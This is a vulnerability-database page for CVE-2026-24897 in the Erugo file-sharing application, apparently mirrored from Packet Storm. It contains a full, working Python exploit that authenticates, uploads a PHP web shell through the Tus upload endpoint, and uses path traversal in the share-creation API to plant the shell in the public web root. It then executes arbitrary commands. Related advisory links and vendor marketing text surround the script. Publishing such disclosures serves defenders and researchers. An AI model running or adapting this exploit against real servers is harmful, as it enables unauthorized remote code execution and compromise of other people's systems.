Lucene search
K

📄 Erugo 0.2.14 Remote Code Execution

🗓️ 05 May 2026 00:00:00Reported by Abdul MoizType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 31 Views

Erugo version up to 0.2.14 suffers authenticated remote code execution.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-24897
28 Jan 202622:24
attackerkb
Circl
CVE-2026-24897
28 Jan 202623:21
circl
CNNVD
Erugo code issues and vulnerabilities
28 Jan 202600:00
cnnvd
CVE
CVE-2026-24897
28 Jan 202622:24
cve
Cvelist
CVE-2026-24897 Authenticated Remote Code Execution via Arbitrary File Upload
28 Jan 202622:24
cvelist
Exploit DB
Erugo 0.2.14 - Remote Code Execution (RCE)
30 Apr 202600:00
exploitdb
EUVD
EUVD-2026-4975
28 Jan 202622:24
euvd
NVD
CVE-2026-24897
28 Jan 202623:15
nvd
OSV
CVE-2026-24897 Authenticated Remote Code Execution via Arbitrary File Upload
28 Jan 202622:24
osv
Positive Technologies
PT-2026-5235
28 Jan 202600:00
ptsecurity
Rows per page
# Exploit Title: Erugo <= 0.2.14 - Authenticated Remote Code Execution (RCE)
    # Date: 2026-02-02
    # Exploit Author: Abdul Moiz
    # Vendor Homepage: https://github.com/ErugoOSS/Erugo
    # Software Link: https://hub.docker.com/layers/wardy784/erugo/0.2.14/images/sha256-d3da70b337212a6c774b7028256870274edc2ac40536fcc0f1706cbbc4ed4fbf
    # Version: <= 0.2.14
    # Tested on: Linux (Docker)
    # CVE: CVE-2026-24897
    
    import requests
    import json
    import sys
    import time
    import base64
    import argparse
    import random
    import string
    import warnings
    from datetime import datetime, timedelta, timezone
    
    # Disable SSL & Deprecation Warnings for clean output
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    warnings.filterwarnings("ignore", category=DeprecationWarning) 
    
    class ErugoExploit:
        def __init__(self, target, username, password):
            self.target = target.rstrip("/")
            self.username = username
            self.password = password
            self.session = requests.Session()
            
            # Standard Headers
            self.session.headers.update({
                "User-Agent": "Mozilla/5.0 (Exploit-DB)",
                "Accept": "application/json",
                "Tus-Resumable": "1.0.0"
            })
    
            # Generate a random 8-char filename to prevent collisions
            rand_str = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
            self.shell_name = f"{rand_str}.php"
            self.shell_content = '<?php system($_GET["cmd"]); ?>'
    
        def get_csrf(self):
            """Initialize session cookies"""
            print("[*] Initializing session...")
            try:
                self.session.get(f"{self.target}/login", verify=False, timeout=10)
            except Exception as e:
                print(f"[-] Connection failed: {e}")
                sys.exit(1)
    
        def login(self):
            print(f"[*] Authenticating as {self.username}...")
            url = f"{self.target}/api/auth/login"
            data = {"email": self.username, "password": self.password}
            
            try:
                r = self.session.post(url, json=data, verify=False, timeout=10)
                if r.status_code == 200:
                    token = r.json().get("data", {}).get("access_token")
                    if token:
                        self.session.headers.update({"Authorization": f"Bearer {token}"})
                        print("[+] Login Successful.")
                        return True
            except Exception as e:
                pass
                
            print("[-] Login Failed. Check credentials.")
            sys.exit(1)
    
        def upload_payload(self):
            print(f"[*] Uploading {self.shell_name} via Tus Protocol...")
            
            # 1. Tus Creation (POST)
            post_url = f"{self.target}/files/"
            
            # Base64 Encode metadata
            filename_b64 = base64.b64encode(self.shell_name.encode()).decode()
            filetype_b64 = base64.b64encode(b"application/x-php").decode()
            
            headers = {
                "Upload-Length": str(len(self.shell_content)),
                "Upload-Metadata": f"filename {filename_b64},filetype {filetype_b64}"
            }
            
            try:
                r = self.session.post(post_url, headers=headers, verify=False, timeout=10)
                if r.status_code != 201:
                    print(f"[-] Tus creation failed. Status: {r.status_code}")
                    sys.exit(1)
                    
                location = r.headers.get("Location")
                file_id = location.split("/")[-1]
                
                # 2. Tus Data Transfer (PATCH)
                patch_headers = {
                    "Content-Type": "application/offset+octet-stream",
                    "Upload-Offset": "0"
                }
                
                r = self.session.patch(location, headers=patch_headers, data=self.shell_content, verify=False, timeout=10)
                
                if r.status_code == 204:
                    print(f"[+] Payload uploaded. ID: {file_id}")
                    return file_id
                else:
                    print(f"[-] Data upload failed. Status: {r.status_code}")
                    sys.exit(1)
                    
            except Exception as e:
                print(f"[-] Upload error: {e}")
                sys.exit(1)
    
        def trigger_path_traversal(self, file_id):
            print("[*] Creating malicious share...")
            url = f"{self.target}/api/uploads/create-share-from-uploads"
            
            # Fix Date Warning: Use timezone-aware UTC
            tomorrow = datetime.now(timezone.utc) + timedelta(days=1)
            expiry = tomorrow.strftime("%Y-%m-%dT%H:%M:%S.000Z")
    
            payload = {
                "upload_id": "exploit", 
                "name": "exploit_share",
                "recipients": [],
                "uploadIds": [file_id],
                "filePaths": {
                     # VULNERABILITY: Path Traversal
                     file_id: f"../../../../../public/{self.shell_name}"
                },
                "expiry_date": expiry,
                "password": "", 
                "password_confirm": ""
            }
            
            try:
                r = self.session.post(url, json=payload, verify=False, timeout=10)
                if r.status_code not in [200, 201]:
                    print(f"[-] Share creation failed. Status: {r.status_code}")
                    print(f"    Response: {r.text}")
                    sys.exit(1)
                print("[+] Malicious share created.")
            except Exception as e:
                print(f"[-] Error creating share: {e}")
                sys.exit(1)
    
        def execute_command(self, cmd):
            shell_url = f"{self.target}/{self.shell_name}"
            print(f"[*] Executing command: '{cmd}' at {shell_url}")
            
            time.sleep(1) # Wait for filesystem sync
            
            try:
                r = self.session.get(shell_url, params={"cmd": cmd}, verify=False, timeout=10)
                
                if r.status_code == 200:
                    print("\n" + "="*50)
                    print(f"COMMAND OUTPUT:")
                    print(r.text.strip())
                    print("="*50 + "\n")
                else:
                    print(f"[-] Command failed. Status: {r.status_code}")
            except Exception as e:
                print(f"[-] Execution error: {e}")
    
    def main():
        parser = argparse.ArgumentParser(description='Erugo <= 0.2.14 Authenticated RCE')
        parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., http://localhost:9998)')
        parser.add_argument('-u', '--username', required=True, help='User email')
        parser.add_argument('-p', '--password', required=True, help='User password')
        parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)')
        
        args = parser.parse_args()
        
        exploit = ErugoExploit(args.target, args.username, args.password)
        
        exploit.get_csrf()
        exploit.login()
        fid = exploit.upload_payload()
        exploit.trigger_path_traversal(fid)
        exploit.execute_command(args.command)
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 May 2026 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 3.18.8 - 10
EPSS0.01089
SSVC
31